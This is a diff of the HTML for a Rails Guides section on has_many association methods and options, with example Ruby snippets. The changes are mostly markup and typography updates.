+<div class="paragraph"><p>The <tt><em>collection</em></tt> method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@orders</span> <span style="color: #990000">=</span> <span style="color: #009900">@customer</span><span style="color: #990000">.</span>orders
-</tt></pre></div></div>
-<h5 id="_tt_em_collection_em_lt_lt_object_8230_tt"><tt><em>collection</em>&lt;&lt;(object, &#8230;)</tt></h5>
-<div class="para"><p>The <tt><em>collection</em>&lt;&lt;</tt> method adds one or more objects to the collection by setting their foreign keys to the primary key of the calling model.</p></div>
+<pre><tt><span style="color: #009900">@orders</span> <span style="color: #990000">=</span> <span style="color: #009900">@customer</span><span style="color: #990000">.</span>orders</tt></pre></div></div>
+<h5 id="_tt_em_collection_em_lt_lt_object_tt"><tt><em>collection</em>&lt;&lt;(object, ...)</tt></h5>
+<div class="paragraph"><p>The <tt><em>collection</em>&lt;&lt;</tt> method adds one or more objects to the collection by setting their foreign keys to the primary key of the calling model.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@customer</span><span style="color: #990000">.</span>orders <span style="color: #990000">&lt;&lt;</span> <span style="color: #009900">@order1</span>
-</tt></pre></div></div>
-<h5 id="_tt_em_collection_em_delete_object_8230_tt"><tt><em>collection</em>.delete(object, &#8230;)</tt></h5>
-<div class="para"><p>The <tt><em>collection</em>.delete</tt> method removes one or more objects from the collection by setting their foreign keys to <tt>NULL</tt>.</p></div>
+<pre><tt><span style="color: #009900">@customer</span><span style="color: #990000">.</span>orders <span style="color: #990000">&lt;&lt;</span> <span style="color: #009900">@order1</span></tt></pre></div></div>
+<h5 id="_tt_em_collection_em_delete_object_tt"><tt><em>collection</em>.delete(object, ...)</tt></h5>
+<div class="paragraph"><p>The <tt><em>collection</em>.delete</tt> method removes one or more objects from the collection by setting their foreign keys to <tt>NULL</tt>.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@customer</span><span style="color: #990000">.</span>orders<span style="color: #990000">.</span>delete<span style="color: #990000">(</span><span style="color: #009900">@order1</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
+<pre><tt><span style="color: #009900">@customer</span><span style="color: #990000">.</span>orders<span style="color: #990000">.</span>delete<span style="color: #990000">(</span><span style="color: #009900">@order1</span><span style="color: #990000">)</span></tt></pre></div></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
<img src="./images/icons/warning.png" alt="Warning" />
</td>
-<td class="content">Objects will be in addition destroyed if they're associated with <tt>:dependent &#8658; :destroy</tt>, and deleted if they're associated with <tt>:dependent &#8658; :delete_all</tt>.</td>
+<td class="content">Objects will be in addition destroyed if they&#8217;re associated with <tt>:dependent =&gt; :destroy</tt>, and deleted if they&#8217;re associated with <tt>:dependent =&gt; :delete_all</tt>.</td>
</tr></table>
</div>
<h5 id="_tt_em_collection_em_objects_tt"><tt><em>collection</em>=objects</tt></h5>
-<div class="para"><p>The <tt><em>collection</em>=</tt> method makes the collection contain only the supplied objects, by adding and deleting as appropriate.</p></div>
-<h5 id="_tt_em_collection_singular_em_ids_tt"><tt><em>collection_singular</em>_ids</tt></h5>
-<div class="para"><p>The <tt><em>collection_singular</em>_ids</tt> method returns an array of the ids of the objects in the collection.</p></div>
+<div class="paragraph"><p>The <tt><em>collection</em>=</tt> method makes the collection contain only the supplied objects, by adding and deleting as appropriate.</p></div>
+<h5 id="_tt_em_collection_singular_em_ids_tt"><tt><em>collection\_singular</em>\_ids</tt></h5>
+<div class="paragraph"><p>The <tt><em>collection\_singular</em>\_ids</tt> method returns an array of the ids of the objects in the collection.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@order_ids</span> <span style="color: #990000">=</span> <span style="color: #009900">@customer</span><span style="color: #990000">.</span>order_ids
-</tt></pre></div></div>
-<h5 id="_tt_em_collection_singular_em_ids_ids_tt"><tt><em>_collection_singular</em>_ids=ids</tt></h5>
-<div class="para"><p>The <tt><em>_collection_singular</em>_ids=</tt> method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.</p></div>
+<pre><tt><span style="color: #009900">@order_ids</span> <span style="color: #990000">=</span> <span style="color: #009900">@customer</span><span style="color: #990000">.</span>order_ids</tt></pre></div></div>
+<h5 id="_tt_em_collection_singular_em_ids_ids_tt"><tt><em>_collection\_singular</em>\_ids=ids</tt></h5>
+<div class="paragraph"><p>The <tt><em>_collection\_singular</em>\_ids=</tt> method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.</p></div>
<h5 id="_tt_em_collection_em_clear_tt"><tt><em>collection</em>.clear</tt></h5>
-<div class="para"><p>The <tt><em>collection</em>.clear</tt> method removes every object from the collection. This destroys the associated objects if they are associated with <tt>:dependent &#8658; :destroy</tt>, deletes them directly from the database if <tt>:dependent &#8658; :delete_all</tt>, and otherwise sets their foreign keys to <tt>NULL</tt>.</p></div>
+<div class="paragraph"><p>The <tt><em>collection</em>.clear</tt> method removes every object from the collection. This destroys the associated objects if they are associated with <tt>:dependent =&gt; :destroy</tt>, deletes them directly from the database if <tt>:dependent =&gt; :delete_all</tt>, and otherwise sets their foreign keys to <tt>NULL</tt>.</p></div>
<h5 id="_tt_em_collection_em_empty_tt"><tt><em>collection</em>.empty?</tt></h5>
-<div class="para"><p>The <tt><em>collection</em>.empty?</tt> method returns <tt>true</tt> if the collection does not contain any associated objects.</p></div>
+<div class="paragraph"><p>The <tt><em>collection</em>.empty?</tt> method returns <tt>true</tt> if the collection does not contain any associated objects.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1646,48 +1413,43 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="color: #FF0000">&lt;% if @customer.orders.empty? %&gt;</span>
No Orders Found
-<span style="color: #FF0000">&lt;% end %&gt;</span>
-</tt></pre></div></div>
+<span style="color: #FF0000">&lt;% end %&gt;</span></tt></pre></div></div>
<h5 id="_tt_em_collection_em_size_tt"><tt><em>collection</em>.size</tt></h5>
-<div class="para"><p>The <tt><em>collection</em>.size</tt> method returns the number of objects in the collection.</p></div>
+<div class="paragraph"><p>The <tt><em>collection</em>.size</tt> method returns the number of objects in the collection.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@order_count</span> <span style="color: #990000">=</span> <span style="color: #009900">@customer</span><span style="color: #990000">.</span>orders<span style="color: #990000">.</span>size
-</tt></pre></div></div>
-<h5 id="_tt_em_collection_em_find_8230_tt"><tt><em>collection</em>.find(&#8230;)</tt></h5>
-<div class="para"><p>The <tt><em>collection</em>.find</tt> method finds objects within the collection. It uses the same syntax and options as <tt>ActiveRecord::Base.find</tt>.</p></div>
+<pre><tt><span style="color: #009900">@order_count</span> <span style="color: #990000">=</span> <span style="color: #009900">@customer</span><span style="color: #990000">.</span>orders<span style="color: #990000">.</span>size</tt></pre></div></div>
+<h5 id="_tt_em_collection_em_find_tt"><tt><em>collection</em>.find(...)</tt></h5>
+<div class="paragraph"><p>The <tt><em>collection</em>.find</tt> method finds objects within the collection. It uses the same syntax and options as <tt>ActiveRecord::Base.find</tt>.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@open_orders</span> <span style="color: #990000">=</span> <span style="color: #009900">@customer</span><span style="color: #990000">.</span>orders<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>all<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"open = 1"</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-<h5 id="_tt_em_collection_em_exist_8230_tt"><tt><em>collection</em>.exist?(&#8230;)</tt></h5>
-<div class="para"><p>The <tt><em>collection</em>.exist?</tt> method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as <tt>ActiveRecord::Base.exists?</tt>.</p></div>
-<h5 id="_tt_em_collection_em_build_attributes_8230_tt"><tt><em>collection</em>.build(attributes = {}, &#8230;)</tt></h5>
-<div class="para"><p>The <tt><em>collection</em>.build</tt> method returns one or more new objects of the associated type. These objects will be instantiated from the passed attributes, and the link through their foreign key will be created, but the associated objects will <em>not</em> yet be saved.</p></div>
+<pre><tt><span style="color: #009900">@open_orders</span> <span style="color: #990000">=</span> <span style="color: #009900">@customer</span><span style="color: #990000">.</span>orders<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>all<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"open = 1"</span><span style="color: #990000">)</span></tt></pre></div></div>
+<h5 id="_tt_em_collection_em_exist_tt"><tt><em>collection</em>.exist?(...)</tt></h5>
+<div class="paragraph"><p>The <tt><em>collection</em>.exist?</tt> method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as <tt>ActiveRecord::Base.exists?</tt>.</p></div>
+<h5 id="_tt_em_collection_em_build_attributes_tt"><tt><em>collection</em>.build(attributes = {}, ...)</tt></h5>
+<div class="paragraph"><p>The <tt><em>collection</em>.build</tt> method returns one or more new objects of the associated type. These objects will be instantiated from the passed attributes, and the link through their foreign key will be created, but the associated objects will <em>not</em> yet be saved.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@order</span> <span style="color: #990000">=</span> <span style="color: #009900">@customer</span><span style="color: #990000">.</span>orders<span style="color: #990000">.</span>build<span style="color: #990000">(</span><span style="color: #FF0000">{</span><span style="color: #990000">:</span>order_date <span style="color: #990000">=&gt;</span> Time<span style="color: #990000">.</span>now<span style="color: #990000">,</span> <span style="color: #990000">:</span>order_number <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"A12345"</span><span style="color: #FF0000">}</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
+<pre><tt><span style="color: #009900">@order</span> <span style="color: #990000">=</span> <span style="color: #009900">@customer</span><span style="color: #990000">.</span>orders<span style="color: #990000">.</span>build<span style="color: #990000">(</span><span style="color: #FF0000">{</span><span style="color: #990000">:</span>order_date <span style="color: #990000">=&gt;</span> Time<span style="color: #990000">.</span>now<span style="color: #990000">,</span> <span style="color: #990000">:</span>order_number <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"A12345"</span><span style="color: #FF0000">}</span><span style="color: #990000">)</span></tt></pre></div></div>
<h5 id="_tt_em_collection_em_create_attributes_tt"><tt><em>collection</em>.create(attributes = {})</tt></h5>
-<div class="para"><p>The <tt><em>collection</em>.create</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be created, and the associated object <em>will</em> be saved (assuming that it passes any validations).</p></div>
+<div class="paragraph"><p>The <tt><em>collection</em>.create</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be created, and the associated object <em>will</em> be saved (assuming that it passes any validations).</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@order</span> <span style="color: #990000">=</span> <span style="color: #009900">@customer</span><span style="color: #990000">.</span>orders<span style="color: #990000">.</span>create<span style="color: #990000">(</span><span style="color: #FF0000">{</span><span style="color: #990000">:</span>order_date <span style="color: #990000">=&gt;</span> Time<span style="color: #990000">.</span>now<span style="color: #990000">,</span> <span style="color: #990000">:</span>order_number <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"A12345"</span><span style="color: #FF0000">}</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
+<pre><tt><span style="color: #009900">@order</span> <span style="color: #990000">=</span> <span style="color: #009900">@customer</span><span style="color: #990000">.</span>orders<span style="color: #990000">.</span>create<span style="color: #990000">(</span><span style="color: #FF0000">{</span><span style="color: #990000">:</span>order_date <span style="color: #990000">=&gt;</span> Time<span style="color: #990000">.</span>now<span style="color: #990000">,</span> <span style="color: #990000">:</span>order_number <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"A12345"</span><span style="color: #FF0000">}</span><span style="color: #990000">)</span></tt></pre></div></div>
<h4 id="_options_for_has_many">4.3.2. Options for has_many</h4>
-<div class="para"><p>In many situations, you can use the default behavior for <tt>has_many</tt> without any customization. But you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a <tt>has_many</tt> association. For example, an association with several options might look like this:</p></div>
+<div class="paragraph"><p>In many situations, you can use the default behavior for <tt>has_many</tt> without any customization. But you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a <tt>has_many</tt> association. For example, an association with several options might look like this:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1695,10 +1457,9 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
has_many <span style="color: #990000">:</span>orders<span style="color: #990000">,</span> <span style="color: #990000">:</span>dependent <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>delete_all<span style="color: #990000">,</span> <span style="color: #990000">:</span>validate <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">false</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The <tt>has_many</tt> association supports these options:</p></div>
-<div class="ilist"><ul>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>The <tt>has_many</tt> association supports these options:</p></div>
+<div class="ulist"><ul>
<li>
<p>
<tt>:as</tt>
@@ -1806,9 +1567,9 @@ http://www.gnu.org/software/src-highlite -->
</li>
</ul></div>
<h5 id="_tt_as_tt_2"><tt>:as</tt></h5>
-<div class="para"><p>Setting the <tt>:as</tt> option indicates that this is a polymorphic association, as discussed earlier in this guide.</p></div>
+<div class="paragraph"><p>Setting the <tt>:as</tt> option indicates that this is a polymorphic association, as discussed earlier in this guide.</p></div>
<h5 id="_tt_class_name_tt_3"><tt>:class_name</tt></h5>
-<div class="para"><p>If the name of the other model cannot be derived from the association name, you can use the <tt>:class_name</tt> option to supply the model name. For example, if a customer has many orders, but the actual name of the model containing orders is <tt>Transaction</tt>, you'd set things up this way:</p></div>
+<div class="paragraph"><p>If the name of the other model cannot be derived from the association name, you can use the <tt>:class_name</tt> option to supply the model name. For example, if a customer has many orders, but the actual name of the model containing orders is <tt>Transaction</tt>, you&#8217;d set things up this way:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1816,10 +1577,9 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
has_many <span style="color: #990000">:</span>orders<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Transaction"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
<h5 id="_tt_conditions_tt_3"><tt>:conditions</tt></h5>
-<div class="para"><p>The <tt>:conditions</tt> option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL <tt>WHERE</tt> clause).</p></div>
+<div class="paragraph"><p>The <tt>:conditions</tt> option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL <tt>WHERE</tt> clause).</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1827,9 +1587,8 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
has_many <span style="color: #990000">:</span>confirmed_orders<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Order"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"confirmed = 1"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>You can also set conditions via a hash:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>You can also set conditions via a hash:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1837,21 +1596,20 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
has_many <span style="color: #990000">:</span>confirmed_orders<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Order"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>confirmed <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span> <span style="color: #FF0000">}</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>If you use a hash-style <tt>:conditions</tt> option, then record creation via this association will be automatically scoped using the hash. In this case, using <tt>@customer.confirmed_orders.create</tt> or <tt>@customer.confirmed_orders.build</tt> will create orders where the confirmed column has the value <tt>true</tt>.</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>If you use a hash-style <tt>:conditions</tt> option, then record creation via this association will be automatically scoped using the hash. In this case, using <tt>@customer.confirmed_orders.create</tt> or <tt>@customer.confirmed_orders.build</tt> will create orders where the confirmed column has the value <tt>true</tt>.</p></div>
<h5 id="_tt_counter_sql_tt"><tt>:counter_sql</tt></h5>
-<div class="para"><p>Normally Rails automatically generates the proper SQL to count the association members. With the <tt>:counter_sql</tt> option, you can specify a complete SQL statement to count them yourself.</p></div>
+<div class="paragraph"><p>Normally Rails automatically generates the proper SQL to count the association members. With the <tt>:counter_sql</tt> option, you can specify a complete SQL statement to count them yourself.</p></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
<img src="./images/icons/note.png" alt="Note" />
</td>
-<td class="content">If you specify <tt>:finder_sql</tt> but not <tt>:counter_sql</tt>, then the counter SQL will be generated by substituting <tt>SELECT COUNT(*) FROM</tt> for the <tt>SELECT &#8230; FROM</tt> clause of your <tt>:finder_sql</tt> statement.</td>
+<td class="content">If you specify <tt>:finder_sql</tt> but not <tt>:counter_sql</tt>, then the counter SQL will be generated by substituting <tt>SELECT COUNT(*) FROM</tt> for the <tt>SELECT ... FROM</tt> clause of your <tt>:finder_sql</tt> statement.</td>
</tr></table>
</div>
<h5 id="_tt_dependent_tt_3"><tt>:dependent</tt></h5>
-<div class="para"><p>If you set the <tt>:dependent</tt> option to <tt>:destroy</tt>, then deleting this object will call the destroy method on the associated objects to delete those objects. If you set the <tt>:dependent</tt> option to <tt>:delete_all</tt>, then deleting this object will delete the associated objects <em>without</em> calling their <tt>destroy</tt> method. If you set the <tt>:dependent</tt> option to <tt>:nullify</tt>, then deleting this object will set the foreign key in the associated objects to <tt>NULL</tt>.</p></div>
+<div class="paragraph"><p>If you set the <tt>:dependent</tt> option to <tt>:destroy</tt>, then deleting this object will call the destroy method on the associated objects to delete those objects. If you set the <tt>:dependent</tt> option to <tt>:delete_all</tt>, then deleting this object will delete the associated objects <em>without</em> calling their <tt>destroy</tt> method. If you set the <tt>:dependent</tt> option to <tt>:nullify</tt>, then deleting this object will set the foreign key in the associated objects to <tt>NULL</tt>.</p></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
@@ -1861,11 +1619,11 @@ http://www.gnu.org/software/src-highlite -->
</tr></table>
</div>
<h5 id="_tt_extend_tt"><tt>:extend</tt></h5>
-<div class="para"><p>The <tt>:extend</tt> option specifies a named module to extend the association proxy. Association extensions are discussed in detail later in this guide.</p></div>
+<div class="paragraph"><p>The <tt>:extend</tt> option specifies a named module to extend the association proxy. Association extensions are discussed in detail later in this guide.</p></div>
<h5 id="_tt_finder_sql_tt"><tt>:finder_sql</tt></h5>
-<div class="para"><p>Normally Rails automatically generates the proper SQL to fetch the association members. With the <tt>:finder_sql</tt> option, you can specify a complete SQL statement to fetch them yourself. If fetching objects requires complex multi-table SQL, this may be necessary.</p></div>
+<div class="paragraph"><p>Normally Rails automatically generates the proper SQL to fetch the association members. With the <tt>:finder_sql</tt> option, you can specify a complete SQL statement to fetch them yourself. If fetching objects requires complex multi-table SQL, this may be necessary.</p></div>
<h5 id="_tt_foreign_key_tt_3"><tt>:foreign_key</tt></h5>
-<div class="para"><p>By convention, Rails guesses that the column used to hold the foreign key on the other model is the name of this model with the suffix <tt>_id</tt> added. The <tt>:foreign_key</tt> option lets you set the name of the foreign key directly:</p></div>
+<div class="paragraph"><p>By convention, Rails guesses that the column used to hold the foreign key on the other model is the name of this model with the suffix <tt>_id</tt> added. The <tt>:foreign_key</tt> option lets you set the name of the foreign key directly:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1873,8 +1631,7 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
has_many <span style="color: #990000">:</span>orders<span style="color: #990000">,</span> <span style="color: #990000">:</span>foreign_key <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"cust_id"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
@@ -1884,7 +1641,7 @@ http://www.gnu.org/software/src-highlite -->
</tr></table>
</div>
<h5 id="_tt_group_tt"><tt>:group</tt></h5>
-<div class="para"><p>The <tt>:group</tt> option supplies an attribute name to group the result set by, using a <tt>GROUP BY</tt> clause in the finder SQL.</p></div>
+<div class="paragraph"><p>The <tt>:group</tt> option supplies an attribute name to group the result set by, using a <tt>GROUP BY</tt> clause in the finder SQL.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1892,10 +1649,9 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
has_many <span style="color: #990000">:</span>line_items<span style="color: #990000">,</span> <span style="color: #990000">:</span>through <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>orders<span style="color: #990000">,</span> <span style="color: #990000">:</span>group <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"orders.id"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
<h5 id="_tt_include_tt_3"><tt>:include</tt></h5>
-<div class="para"><p>You can use the :include option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:</p></div>
+<div class="paragraph"><p>You can use the :include option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1910,9 +1666,8 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> LineItem <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
belongs_to <span style="color: #990000">:</span>order
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>If you frequently retrieve line items directly from customers (<tt>@customer.orders.line_items</tt>), then you can make your code somewhat more efficient by including line items in the association from customers to orders:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>If you frequently retrieve line items directly from customers (<tt>@customer.orders.line_items</tt>), then you can make your code somewhat more efficient by including line items in the association from customers to orders:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1927,10 +1682,9 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> LineItem <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
belongs_to <span style="color: #990000">:</span>order
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
<h5 id="_tt_limit_tt"><tt>:limit</tt></h5>
-<div class="para"><p>The <tt>:limit</tt> option lets you restrict the total number of objects that will be fetched through an association.</p></div>
+<div class="paragraph"><p>The <tt>:limit</tt> option lets you restrict the total number of objects that will be fetched through an association.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1938,12 +1692,11 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
has_many <span style="color: #990000">:</span>recent_orders<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Order"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>order <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"order_date DESC"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>limit <span style="color: #990000">=&gt;</span> <span style="color: #993399">100</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
<h5 id="_tt_offset_tt"><tt>:offset</tt></h5>
-<div class="para"><p>The <tt>:offset</tt> option lets you specify the starting offset for fetching objects via an association. For example, if you set <tt>:offset &#8658; 11</tt>, it will skip the first 11 records.</p></div>
+<div class="paragraph"><p>The <tt>:offset</tt> option lets you specify the starting offset for fetching objects via an association. For example, if you set <tt>:offset =&gt; 11</tt>, it will skip the first 11 records.</p></div>
<h5 id="_tt_order_tt_2"><tt>:order</tt></h5>
-<div class="para"><p>The <tt>:order</tt> option dictates the order in which associated objects will be received (in the syntax used by a SQL <tt>ORDER BY</tt> clause).</p></div>
+<div class="paragraph"><p>The <tt>:order</tt> option dictates the order in which associated objects will be received (in the syntax used by a SQL <tt>ORDER BY</tt> clause).</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1951,14 +1704,13 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
has_many <span style="color: #990000">:</span>orders<span style="color: #990000">,</span> <span style="color: #990000">:</span>order <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"date_confirmed DESC"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
<h5 id="_tt_primary_key_tt_2"><tt>:primary_key</tt></h5>
-<div class="para"><p>By convention, Rails guesses that the column used to hold the primary key of this model is <tt>id</tt>. You can override this and explicitly specify the primary key with the <tt>:primary_key</tt> option.</p></div>
+<div class="paragraph"><p>By convention, Rails guesses that the column used to hold the primary key of this model is <tt>id</tt>. You can override this and explicitly specify the primary key with the <tt>:primary_key</tt> option.</p></div>
<h5 id="_tt_readonly_tt_3"><tt>:readonly</tt></h5>
-<div class="para"><p>If you set the <tt>:readonly</tt> option to <tt>true</tt>, then the associated objects will be read-only when retrieved via the association.</p></div>
+<div class="paragraph"><p>If you set the <tt>:readonly</tt> option to <tt>true</tt>, then the associated objects will be read-only when retrieved via the association.</p></div>
